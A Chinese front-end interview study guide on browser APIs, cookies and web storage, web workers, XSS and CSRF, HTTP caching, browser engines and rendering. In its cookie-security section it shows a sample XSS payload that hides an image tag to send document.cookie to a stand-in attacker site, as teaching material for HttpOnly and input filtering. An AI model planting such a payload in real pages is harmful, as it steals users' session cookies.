提供基础用法,基础概念引用 MDN、W3C,基础内容做扩展知识,可应对面试,详细原理及应用需要去官网、GitHub 深入学习。
1、常用 BOM 方法
BOM(browser object model)简称浏览器对象模型,BOM 提供了独立于内容而与浏览器窗口进行交互的对象,BOM 主要用于管理窗口与窗口之间的通讯,其核心对象是 window。BOM 由一系列相关的对象构成,并且每个对象都提供了很多方法与属性,BOM 缺乏标准,JavaScript 语法的标准化组织是 ECMA,DOM 的标准化组织是 W3C。BOM最初是 Netscape 浏览器标准的一部分。
- location 对象
location.href – 返回或设置当前文档的 URL
location.search – 返回 URL 中的查询字符串部分。例如http://www.dreamdu.com/dreamdu.php?id=5&name=dreamdu
返回包括(?)后面的内容?id=5&name=dreamdu
location.hash – 返回 URL#后面的内容,如果没有#,返回空
location.host – 返回 URL 中的域名部分,例如www.dreamdu.com
location.hostname – 返回 URL 中的主域名部分,例如dreamdu.com
location.pathname – 返回 URL 的域名后的部分。例如http://www.dreamdu.com/xhtml/
返回/xhtml/
location.port – 返回 URL 中的端口部分。例如http://www.dreamdu.com:8080/xhtml/
返回8080
location.protocol – 返回 URL 中的协议部分。例如http://www.dreamdu.com:8080/xhtml/
返回(//)前面的内容http:
location.assign – 设置当前文档的 URL
location.replace() – 设置当前文档的 URL,并且在 history 对象的地址列表中移除这个 URL,location.replace(url)
location.reload() – 重载当前页面 - history 对象
history.go() – 前进或后退指定的页面数 history.go(num)
history.back() – 后退一页
history.forward() – 前进一页 - Navigator 对象
navigator.userAgent – 返回用户代理头的字符串表示(就是包括浏览器版本信息等的字符串)
navigator.cookieEnabled – 返回浏览器是否支持(启用)cookie - innerWidth/innnerHeight
返回浏览器视窗(vireport)宽/高 - screen 对象
screen.width/height – 返回以像素计的访问者屏幕宽度/高度
screen.availWidth/availHeight – 以像素计的访问者屏幕可用宽度/高度(除去工具条等)
screen.colorDepth – 色深
2、Cookie、sessionStorage、localStorage 区别
SessionStorage, LocalStorage, Cookie 这三者都可以被用来在浏览器端存储数据,而且都是字符串类型的键值对。区别在于前两者属于 HTML5 WebStorage,创建它们的目的便于客户端存储数据。而 cookie 是网站为了标示用户身份而储存在用户本地终端上的数据(通常
经过加密)。cookie 数据始终在同源(协议、主机、端口相同)的 http 请求中携带(即使不需要),会在浏览器和服务器间来回传递。
存储大小:
cookie 数据大小不能超过 4 k 。
sessionStorage 和 localStorage 虽然也有存储大小的限制,但比 cookie 大得多,可以达到 5M 或更大。
有期时间:
localStorage 存储持久数据,浏览器关闭后数据不丢失除非主动删除数据。
sessionStorage 数据在页面会话结束时会被清除。页面会话在浏览器打开期间一直保持,并且重新加载或恢复页面仍会保持原来的页面会话。在新标签或窗口打开一个页面时会在顶级浏览上下文中初始化一个新的会话。
cookie 设置的 cookie 过期时间之前一直有效,即使窗口或浏览器关闭。
作用域:
sessionStorage 只在同源的同窗口(或标签页)中共享数据,也就是只在当前会话中共享。
localStorage 在所有同源窗口中都是共享的。
cookie 在所有同源窗口中都是共享的。
综上
- cookie 其实最开始是服务器端用于记录用户状态的一种方式,由服务器设置,在客户端存储,然后每次发起同源请求时,发送给服务器端。cookie 最多能存储 4 k 数据,它的生存时间由 expires 属性指定,并且 cookie 只能被同源的页面访问共享。
- sessionStorage 是 html5 提供的一种浏览器本地存储的方法,它借鉴了服务器端 session 的概念,代表的是一次会话中所保存的数据。它一般能够存储 5M 或者更大的数据,它在当前窗口关闭后就失效了,并且 sessionStorage 只能被同一个窗口的同源页面所访问共享。
- localStorage 也是 html5 提供的一种浏览器本地存储的方法,它一般也能够存储 5M 或者更大的数据。它和 sessionStorage 不同的是,除非手动删除它,否则它不会失效,并且 localStorage 也只能被同源页面所访问共享。
上面几种方式都是存储少量数据的时候的存储方式,当我们需要在本地存储大量数据的时候,我们可以使用浏览器的 indexDB 这是浏览器提供的一种本地的数据库存储机制。它不是关系型数据库,它内部采用对象仓库的形式存储数据,它更接近 NoSQL 数据库。
localStorage/sessionStorage api
- 设置 item:
localStorage.setItem(key, value)
- 获取item:
localStorage.getItem(key)
- 移除item:
localStorage.removeItem(key)
- 清空所有item:
localStorage.clear()
3、Cookie 如何防范 XSS 攻击?
跨站脚本攻击XSS(Cross Site Scripting),恶意攻击者往Web页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。可通过后端在 HTTP 头部配置 Set-Cookie 避免被 XSS 恶意入侵。配置属性如下:
- http-only:只允许 http 或 https 请求读取 cookie,js 代码无法读取 cookie(js调用document.cookie获取的结果会过滤掉设置了http-only的值)。但是发送请求时却会发送。
- secure-only:只允许https请求读取,发送请求时自动带上 cookie
- host-only:只允许主机域名与 domain 设置完全一致的网站才能访问 cookie
简单的 XSS 获取 Cookie 例子如下:
<script>
alert(document.cookie)
</script>
Cookie 发送给攻击者的站点:
var img = document.createElement('img')
img.src='http://www.xss.com?cookie=' + document.cookie
img.style.display='none'
document.getElementsByTagName('body')[0].appendChild(img)
JS Cookie api
- 创建 Cookie:
document.cookie=‘_uid=1’
- 配置 Cookie:设置过期时间,如果不设置,默认关闭浏览器的时候删除
const expires = new Date()
expires.setTime(expires.getTime()+30*24*60*60*1000)// 过期时间30天后
document.cookie = `_id=1;expires=${expires.toGMTString()}`
- 读取 Cookie:
let data = document.cookie
- 删除 Cookie:将 expires 的值设置为以前的时间
const expires = new Date()
expires.setTime(expires.getTime()-1*24*60*60*1000)
document.cookie = `username=;expires=${expires.toGMTString()}`
4、Cookie 有哪些字段可以设置?
请求头: Cookie 字段
- key-value:
document.cookie = 'key=value'
- 过期时间:
document.cookie = 'key=value;expires=expires_time'
- path:可以访问此 cookie 的页面路径。
document.cookie = 'key=value;path=/test'
, 比如 domain 是 abc.com,path 是/test,那么只有/test 路径下的页面可以读取此 cookie。 - domain:
document.cookie = 'id=1; domain=abc.com'
,a)设置的 cookie 的 domain 只能为顶级域名或者二级域名或者三级域名本身,不能设置其他二级域名的 cookie,否则 cookie 无法生成。b)顶级域名只能设置 domain 为顶级域名,不能设置为二级域名或者三级域名,否则 cookie 无法生成。c)二级域名能读取设置了 domain 为顶级域名或者自身的 cookie,不能读取其他二级域名 domain 的 cookie。所以要想 cookie 在多个二级域名中共享,需要设置 domain 为顶级域名。顶级域名只能获取到 domain 设置为顶级域名的 cookie,其他 domain 设置为二级域名的无法获取。
响应头:Set-Cookie 字段 - http 字段:http-only,secure-only,host-only
- Max-Age:过期时间
- Size:cookie 大小
5、web worker
在 HTML 页面中,如果在执行脚本时,页面的状态是不可相应的,直到脚本执行完成后,页面才变成可相应。web worker 是运行在后台的 js,独立于其他脚本,不会影响页面的性能。并且通过 postMessage 将结果回传到主线程。这样在进行复杂操作的时候,就不会阻塞主线程。但在 worker 内,不能直接操作 DOM 节点,也不能使用window对象的默认方法和属性。
一个 worker 是使用一个构造函数创建的一个对象 (e.g. Worker()) 运行一个命名的 JavaScript 文件 - 这个文件包含将在工作线程中运行的代码; workers 运行在另一个全局上下文中,不同于当前的window. 因此,在 Worker 内通过 window获取全局作用域 (而不是self) 将返回错误。
专用 worker 流程
创建一个 worker 实例,调用 Worker() 的构造器,指定一个脚本的 URI 来执行 worker 线程:
// main.js
if(window.Worker) {
const myWorker = new Worker('worker.js')
// 通过postMessage() 方法和 onmessage 事件处理函数触发 workers 的方法
setInterval(() => {
myWorker.postMessage([new Date()])
console.log('Message posted to worker')
}, 1000)
// 错误处理
onerror = (evt) => {
console.log(evt)
}
}
mian.js 中进行 postMessage ,在 worker 中接收到消息后,写一个事件处理函数作为响应
// worker.js
onmessage = (evt) => {
var workerResult = 'Result: ' + (evt.data[0])
postMessage(workerResult)
}
回到主线程,我们再次使用 onmessage 以响应 worker 回传的消息:
myWorker.onmessage = (evt) => {
result = evt.data
}
终止 worker
主线程中调用 terminate
立即结束 worker 通信,在 worker 线程中可直接调用 close()
方法关闭通信。
myWorker.terminate()
更多内容及共享 worker 见 MDN-Worker
6、CSRF 和 XSS
XSS
跨站脚本攻击 XSS(Cross Site Scripting)是攻击者通过注入恶意的脚本,在用户浏览网页的时候进行攻击,比如获取 cookie,或者其他用户身份信息,将 XSS 分为:存储型 、反射型 、DOM型XSS 三类。
- 存储型XSS:持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。
- 反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
- DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,属于反射型XSS。
通过 对cookie 设置 httpOnly 属性,对用户的输入进行检查,进行特殊字符过滤等操作避免 XSS 攻击。
CSRF
跨站点请求伪造 CSRF(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性。攻击者盗用了身份,以自己的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以自己的名义发送邮件、发消息等。
CSRF 攻击流程如下:
- 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
- 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
- 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
- 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
- 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
通过使用验证码,检查 https 头部的 refer,使用 token 等方式来防止。
7、浏览器缓存
浏览器的缓存机制指的是通过在一段时间内保留已接收到的 web 资源的一个副本,如果在资源的有效时间内,发起了对这个资源的再一次请求,那么浏览器会直接使用缓存的副本,而不是向服务器发起请求。使用 web 缓存可以有效地提高页面的打开速度,减少不必要的网络带宽的消耗。
web 资源的缓存策略一般由服务器来指定,可以分为两种,分别是强缓存策略
和协商缓存策略
。
强缓存
使用强缓存策略时,如果缓存资源有效,则直接使用缓存资源,不必再向服务器发起请求。强缓存策略可以通过两种方式来设置,分别是 http 头信息中的 Expires
属性和 Cache-Control
属性。服务器通过在响应头中添加 Expires 属性,来指定资源的过期时间。在过期时间以内,该资源可以被缓存使用,不必再向服务器发送请求。这个时间是一个绝对时间,它是服务器的时间,因此可能存在这样的问题,就是客户端的时间和服务器端的时间不一致,或者用户可以对客户端时间进行修改的情况,这样就可能会影响缓存命中的结果。Expires 是 http1.0 中的方式,因为它的一些缺点,在 http 1.1 中提出了一个新的头部属性就是 Cache-Control 属性,它提供了对资源的缓存的更精确的控制。它有很多不同的值,如下表所示:
值 | 作用 |
---|---|
max-age | 指定资源能够被缓存的时间的大小,这是一个相对的时间,它会根据这个时间的大小和资源第一次请求时的时间来计算出资源过期的时间,因此相对于 Expires 来说,这种方式更加有效一些 |
public | 任何途径的缓存者,可以无条件缓存该资源 |
private | 规定资源只能被客户端缓存,不能够代理服务器所缓存 |
no-store | 指定资源不能够被缓存 |
no-cache | 代表该资源能够被缓存,但是立即失效,每次都需要向服务器发起请求 |
一般来说只需要设置其中一种方式就可以实现强缓存策略,当两种方式一起使用时,Cache-Control 的优先级要高于 Expires 。
协商缓存
使用协商缓存策略时,会先向服务器发送一个请求,如果资源没有发生修改,则返回一个 304 状态,让浏览器使用本地的缓存副本。
如果资源发生了修改,则返回修改后的资源。协商缓存也可以通过两种方式来设置,分别是 http 头信息中的 Etag
和 Last-Modified
属性。
服务器通过在响应头中添加 Last-Modified 属性来指出资源最后一次修改的时间,当浏览器下一次发起请求时,会在请求头中添加一个 If-Modified-Since
的属性,属性值为上一次资源返回时的 Last-Modified 的值。当请求发送到服务器后服务器会通过这个属性来和资源的最后一次的修改时间来进行比较,以此来判断资源是否做了修改。如果资源没有修改,那么返回 304 状态,让客户端使用本地的缓存。如果资源已经被修改了,则返回修改后的资源。使用这种方法有一个缺点,就是 Last-Modified 标注的最后修改时间只能精确到秒级,如果某些文件在 1 秒钟以内,被修改多次的话,那么文件已将改变了但是 Last-Modified 却没有改变,这样会造成缓存命中的不准确。因为 Last-Modified 的这种可能发生的不准确性,http 中提供了另外一种方式,那就是 Etag 属性。服务器在返回资源的时候,在头信息中添加了 Etag 属性,这个属性是资源生成的唯一标识符,当资源发生改变的时候,这个值也会发生改变。在下一次资源请求时,浏览器会在请求头中添加一个 If-None-Match
属性,这个属性的值就是上次返回的资源的 Etag 的值。服务接收到请求后会根据这个值来和资源当前的 Etag 的值来进行比较,以此来判断资源是否发生改变,是否需要返回资源。通过这种方式,比 Last-Modified 的方式更加精确。
当 Last-Modified 和 Etag 属性同时出现的时候,Etag 的优先级更高。使用协商缓存的时候,服务器需要考虑负载平衡的问题,因此多个服务器上资源的 Last-Modified 应该保持一致,因为每个服务器上 Etag 的值都不一样,因此在考虑负载平衡时,最好不要设置 Etag 属性。
强缓存策略和协商缓存策略在缓存命中时都会直接使用本地的缓存副本,区别只在于协商缓存会向服务器发送一次请求。它们缓存不命中时,都会向服务器发送请求来获取资源。在实际的缓存机制中,强缓存策略和协商缓存策略是一起合作使用的。浏览器首先会根据请求的信息判断,强缓存是否命中,如果命中则直接使用资源。如果不命中则根据头信息向服务器发起请求,使用协商缓存,如果协商缓存命中的话,则服务器不返回资源,浏览器直接使用本地资源的副本,如果协商缓存不命中,则浏览器返回最新的资源给浏览器。
8、浏览器内核
浏览器主要分成两部分:渲染引擎和 JS 引擎。渲染引擎
的职责就是渲染,即在浏览器窗口中显示所请求的内容。默认情况下,渲染引
擎可以显示 html、xml 文档及图片,它也可以借助插件(一种浏览器扩展)显示其他类型数据,例如使用 PDF 阅读器插件,可以显示 PDF 格式。JS 引擎
用于解析和执行 javascript 来实现网页的动态效果。最开始渲染引擎和 JS 引擎并没有区分的很明确,后来 JS 引擎越来越独立,内核就倾向于只指渲染引擎。
浏览器架构基本架构如下:
- 用户界面
- 主进程
- 内核
- 渲染引擎
- JS 引擎
- 执行栈
- 事件触发线程
- 消息队列
- 微任务
- 宏任务
- 消息队列
- 网络异步线程
- 定时器线程
一些常见的浏览器内核如下表所示:
内核 | 描述 |
---|---|
Trident | 这种浏览器内核是 IE 浏览器用的内核,因为在早期 IE 占有大量的市场份额,所以这种内核比较流行,以前有很多网页也是根据这个内核的标准来编写的,但是实际上这个内核对真正的网页标准支持不是很好。但是由于 IE 的高市场占有率,微软也很长时间没有更新 Trident 内核,就导致了 Trident 内核和 W3C 标准脱节。还有就是 Trident 内核的大量 Bug 等安全问题没有得到解决,加上一些专家学者公开自己认为 IE 浏览器不安全的观点,使很多用户开始转向其他浏览器。 |
Gecko | 这是 Firefox 和 Flock 所采用的内核,这个内核的优点就是功能强大、丰富,可以支持很多复杂网页效果和浏览器扩展接口,但是代价是也显而易见就是要消耗很多的资源,比如内存。 |
Presto | Opera 曾经采用的就是 Presto 内核,Presto 内核被称为公认的浏览网页速度最快的内核,这得益于它在开发时的天生优势,在处理 JS 脚本等脚本语言时,会比其他的内核快 3 倍左右,缺点就是为了达到很快的速度而丢掉了一部分网页兼容性。 |
Webkit | Webkit 是 Safari 采用的内核,它的优点就是网页浏览速度较快,虽然不及 Presto 但是也胜于 Gecko 和 Trident,缺点是对于网页代码的容错性不高,也就是说对网页代码的兼容性较低,会使一些编写不标准的网页无法正确显示。WebKit 前身是 KDE 小组的 KHTML 引擎,可以说 WebKit 是 KHTML 的一个开源的分支。 |
Blink | 谷歌在 Chromium Blog 上发表博客,称将与苹果的开源浏览器核心 Webkit 分道扬镳,在 Chromium 项目中研发 Blink 渲染引擎(即浏览器核心),内置于 Chrome 浏览器之中。其实 Blink 引擎就是 Webkit 的一个分支,就像 webkit 是 KHTML 的分支一样。Blink 引擎现在是谷歌公司与 Opera Software 共同研发,上面提到过的,Opera 弃用了自己的 Presto 内核,加入 Google 阵营,跟随谷歌一起研发 Blink。 |
常用浏览器使用的内核如下表:
浏览器 | 内核 |
---|---|
IE 浏览器内核 | Trident 内核,也是俗称的 IE 内核 |
Chrome 浏览器内核 | Chromium 内核或 Chrome 内核,以前是 Webkit 内核,现在是 Blink 内核 |
Firefox 浏览器内核 | Gecko 内核,俗称 Firefox 内核 |
Safari 浏览器内核 | webkit 内核 |
Opera 浏览器内核 | 最初是自己的 Presto 内核,后来加入谷歌大军,从 Webkit 又到了 Blink 内核 |
360 浏览器、猎豹浏览器内核 | IE + Chrome 双内核 |
搜狗、遨游、QQ 浏览器内核 | Trident(兼容模式)+ Webkit(高速模式) |
百度浏览器、世界之窗内核 | IE 内核 |
2345 浏览器内核 | 好像以前是 IE 内核,现在也是 IE + Chrome 双内核了 |
UC 浏览器内核 | 这个众口不一,UC 说是他们自己研发的 U3 内核,但好像还是基于 Webkit 和 Trident ,还有说是基于火狐内核 |
9、浏览器渲染原理
浏览器使用流式布局模型 (Flow Based Layout)
- 首先解析收到的文档,根据文档定义构建一棵 DOM 树,DOM 树是由 DOM 元素及属性节点组成的。
- 然后对 CSS 进行解析,生成 CSSOM 规则树。
- 根据 DOM 树和 CSSOM 规则树构建渲染树。渲染树的节点被称为渲染对象,渲染对象是一个包含有颜色和大小等属性的矩形,渲染对象和 DOM 元素相对应,但这种对应关系不是一对一的,不可见的 DOM 元素不会被插入渲染树。还有一些 DOM 元素对应几个可见对象,它们一般是一些具有复杂结构的元素,无法用一个矩形来描述。
- 当渲染对象被创建并添加到树中,它们并没有位置和大小,所以当浏览器生成渲染树以后,就会根据渲染树来进行布局(也可以叫做回流)。这一阶段浏览器要做的事情是要弄清楚各个节点在页面中的确切位置和大小。通常这一行为也被称为“自动重排”。
- 布局阶段结束后是绘制阶段,遍历渲染树并调用渲染对象的 paint 方法将它们的内容显示在屏幕上,绘制使用 UI 基础组件。值得注意的是,这个过程是逐步完成的,为了更好的用户体验,渲染引擎将会尽可能早的将内容呈现到屏幕上,并不会等到所有的 html 都解析完成之后再去构建和布局 render 树。它是解析完一部分内容就显示一部分内容,同时,可能还在通过网络下载其余内容。
更多详细原理见博客 https://blog.fundebug.com/2019/01/03/understand-browser-rendering/
10、浏览器解析过程中的问题
渲染过程中遇到 JavaScript 文件怎么处理?
JavaScript 的加载、解析与执行会阻塞文档的解析,也就是说,在构建 DOM 时,HTML 解析器若遇到了 JavaScript,那么它会暂停文档的解析,将控制权移交给 JavaScript 引擎,等 JavaScript 引擎运行完毕,浏览器再从中断的地方恢复继续解析文档。也就是说,如果你想首屏渲染的越快,就越不应该在首屏就加载 JS 文件,这也是都建议将 script 标签放在 body 标签底部的原因。当然在当下,并不是说 script 标签必须放在底部,因为你可以给 script 标签添加 defer 或者 async 属性。
async 和 defer 的作用是什么?
- 脚本没有 defer 或 async,浏览器会立即加载并执行指定的脚本,也就是说不等待后续载入的文档元素,读到就加载并执行。
- defer 属性表示延迟执行引入的 JavaScript,即这段 JavaScript 加载时 HTML 并未停止解析,这两个过程是并行的。当整个 document 解析完毕后再执行脚本文件,在 DOMContentLoaded 事件触发之前完成。多个脚本按顺序执行。
- async 属性表示异步执行引入的 JavaScript,与 defer 的区别在于,如果已经加载好,就会开始执行,也就是说它的执行仍然会阻塞文档的解析,只是它的加载过程不会阻塞。多个脚本的执行顺序无法保证。
文档预解析
Webkit 和 Firefox 都做了这个优化,当执行 JavaScript 脚本时,另一个线程解析剩下的文档,并加载后面需要通过网络加载的资源。这种方式可以使资源并行加载从而使整体速度更快。需要注意的是,预解析并不改变 DOM 树,它将这个工作留给主解析过程,自己只解析外部资源的引用,比如外部脚本、样式表及图片。
CSS 如何阻塞文档解析
理论上,既然样式表不改变 DOM 树,也就没有必要停下文档的解析等待它们,然而,存在一个问题,JavaScript 脚本执行时可能在文档的解析过程中请求样式信息,如果样式还没有加载和解析,脚本将得到错误的值,显然这将会导致很多问题。所以如果浏览器尚未完成 CSSOM 的下载和构建,而我们却想在此时运行脚本,那么浏览器将延迟 JavaScript 脚本执行和文档的解析,直至其完成 CSSOM 的下载和构建。也就是说,在这种情况下,浏览器会先下载和构建 CSSOM,然后再执行 JavaScript,最后再继续文档的解析。
11、浏览器渲染过程中的问题
渲染页面时常见哪些不良现象?
-
FOUC:主要指的是样式闪烁的问题,由于浏览器渲染机制(比如 firefox),在 CSS 加载之前,先呈现了 HTML,就会导致展示出无样式内容,然后样式突然呈现的现象。会出现这个问题的原因主要是 css 加载时间过长,或者 css 被放在了文档底部。
-
白屏:有些浏览器渲染机制(比如 chrome)要先构建 DOM 树和 CSSOM 树,构建完成后再进行渲染,如果 CSS 部分放在 HTML 尾部,由于 CSS 未加载完成,浏览器迟迟未渲染,从而导致白屏;也可能是把 js 文件放在头部,脚本的加载会阻塞后面文档内容的解析,从而页面迟迟未渲染出来,出现白屏问题。
如何优化关键渲染路径?
为尽快完成首次渲染,需要最大限度减小以下三种可变因素:
- 关键资源的数量
- 关键路径长度
- 关键字节的数量
关键资源是可能阻止网页首次渲染的资源。这些资源越少,浏览器的工作量就越小,对 CPU 以及其他资源的占用也就越少。同样,关键路径长度受所有关键资源与其字节大小之间依赖关系图的影响:某些资源只能在上一资源处理完毕之后才能开始下载,并且资源越大,下载所需的往返次数就越多。最后,浏览器需要下载的关键字节越少,处理内容并让其出现在屏幕上的速度就越快。要减少字节数,我们可以减少资源数(将它们删除或设为非关键资源),此外还要压缩和优化各项资源,确保最大限度减小传送大小。
优化关键渲染路径的常规步骤如下:
- 对关键路径进行分析和特性描述:资源数、字节数、长度
- 最大限度减少关键资源的数量:删除它们,延迟它们的下载,将它们标记为异步等
- 优化关键字节数以缩短下载时间(往返次数)
- 优化其余关键资源的加载顺序:您需要尽早下载所有关键资产,以缩短关键路径长度
详细见 https://developers.google.com/web/fundamentals/performance/critical-rendering-path/optimizing-critical-rendering-path?hl=zh-cn
12、浏览器绘制过程中的问题
重绘与回流
重绘(Repaint)
: 当渲染树中的一些元素需要更新属性,而这些属性只是影响元素的外观、风格,而不会影响布局的操作,比如 background color,我们将这样的操作称为重绘。
回流(Reflow)
:当渲染树中的一部分(或全部)因为元素的规模尺寸、布局、隐藏等改变而需要重新构建的操作,会影响到布局的操作,这样的操作我们称为回流。
常见引起回流属性和方法:任何会改变元素几何信息(元素的位置和尺寸大小)的操作,都会触发回流。
- 添加或者删除可见的 DOM 元素;
- 元素尺寸改变——边距、填充、边框、宽度和高度
- 内容变化,比如用户在 input 框中输入文字
- 浏览器窗口尺寸改变——resize 事件发生时
- 计算 offsetWidth/Height,clientWidth/Height,clientTop 属性,使用 getComputedStyle(),getBoundingClientRect(),scrollTo() 等
- 设置 style 属性的值
- 修改网页的默认字体时
- 激活CSS伪类(例如::hover)
回流必定会发生重绘,重绘不一定会引发回流。浏览器会维护一个队列,把所有引起回流和重绘的操作放入队列中,如果队列中的任务数量或者时间间隔达到一个阈值的,浏览器就会将队列清空,进行一次批处理,这样可以把多次回流和重绘变成一次。
一些减少回流的方法:
- 使用 transform 替代 top
- 不要把节点的属性值放在一个循环里当成循环里的变量
- 不要使用 table 布局,可能很小的一个小改动会造成整个 table 的重新布局
- 把 DOM 离线后修改。如:使用 documentFragment 对象在内存里操作 DOM
- 不要一条一条地修改 DOM 的样式。与其这样,还不如预先定义好 css 的 class,然后修改 DOM 的 className
为什么操作 DOM 慢?
一些 DOM 的操作或者属性访问可能会引起页面的回流和重绘,从而引起性能上的消耗。
13、简述:在地址栏里输入一个 URL,到这个页面呈现出来,中间会发生什?
一句话描述如下:首先通过DNS 解析找到 url 域名的服务器 IP,然后建立TCP 连接,发送 HTTP 请求,服务器处理请求并返回 HTTP 报文,浏览器获取结果并进行解析和渲染页面以及进行缓存,最后连接结束。
- 输入 url 后,首先需要找到这个 url 域名的服务器 ip,为了寻找这个 ip,浏览器首先会寻找缓存,查看缓存中是否有记录,缓存的查找记录为:浏览器缓存 --> 系统缓存 --> 路由器缓存,缓存中没有则查找系统的 hosts 文件中是否有记录,如果没有则查询 DNS 服务器
- 得到服务器的 ip 地址后,浏览器根据这个 ip 以及相应的端口号,构造一个 http 请求,这个请求报文会包括这次请求的信息,主要是请求方法,请求说明和请求附带的数据,并将这个 http 请求封装在一个 tcp 包中,这个 tcp 包会依次经过传输层,网络层,数据链路层,物理层到达服务器,服务器解析这个请求来作出响应,返回相应的 html 给浏览器
- 浏览器根据这个 html 来构建 DOM 树,在 dom 树的构建过程中如果遇到 JS 脚本和外部 JS 连接,则会停止构建 DOM 树来执行和下载相应的代码,这会造成阻塞,这就是为什么推荐 JS 代码应该放在 html 代码的后面,之后根据外部映射,内部映射,内联样式构建一个 CSS 对象模型树 CSSOM 树,构建完成后和 DOM 树合并为渲染树(Render Tree),这里主要做的是排除非视觉节点,比如 script,meta 标签和排除 display 为 none 的节点,之后进行布局,布局主要是确定各个元素的位置和尺寸,之后是渲染页面
- 因为 html 文件中会含有图片,视频,音频等资源,在解析 DOM 的过程中,遇到这些都会进行并行下载,浏览器对每个域的并行下载数量有一定的限制,一般是 4-6 个,当然在这些所有的请求中我们还需要关注的就是缓存,缓存一般通过Cache-Control、Last-Modify、Expires 等首部字段控制。 Cache-Control 和 Expires 的区别在于 Cache-Control 使用相对时间,expires 使用的是基于服务器 端的绝对时间,因为存在时差问题,一般采用 Cache-Control,在请求这些有设置了缓存的数据时,会先 查看是否过期,如果没有过期则直接使用本地缓存,过期则请求并在服务器校验文件是否修改,如果上一次 响应设置了 ETag 值会在这次请求的时候作为 If-None-Match 的值交给服务器校验,如果一致,继续校验 Last-Modified,没有设置 ETag 则直接验证Last-Modified,再决定是否返回 304
14、如何实现浏览器内多个标签页之间的通信?
- 使用 WebSocket,通信的标签页连接同一个服务器,发送消息到服务器后,服务器推送消息给所有连接的客户端。
- 使用 SharedWorker (只在 chrome 浏览器实现了),shareWorker 会在页面存在的生命周期内创建一个唯一的线程,并且开启多个页面也只会使 用同一个线程。这个时候共享线程就可以充当中介者的角色。标签页间通过共享一个线程,然后通过这个共享的线程来实现数据的交换。
- 可以调用 localStorage、cookies 等本地存储方式,localStorge 另一个浏览上下文里被添加、修改或删除时,它都会触发一个 storage 事件,我们通过监听 storage 事件,控制它的值来进行页面信息通信;
- 如果我们能够获得对应标签页的引用,通过 postMessage 方法也是可以实现多个标签页通信的。
实现多个标签页之间的通信,本质上都是通过中介者模式来实现的。因为标签页之间没有办法直接通信,因此我们可以找一个中介者,
让标签页和中介者进行通信,然后让这个中介者来进行消息的转发。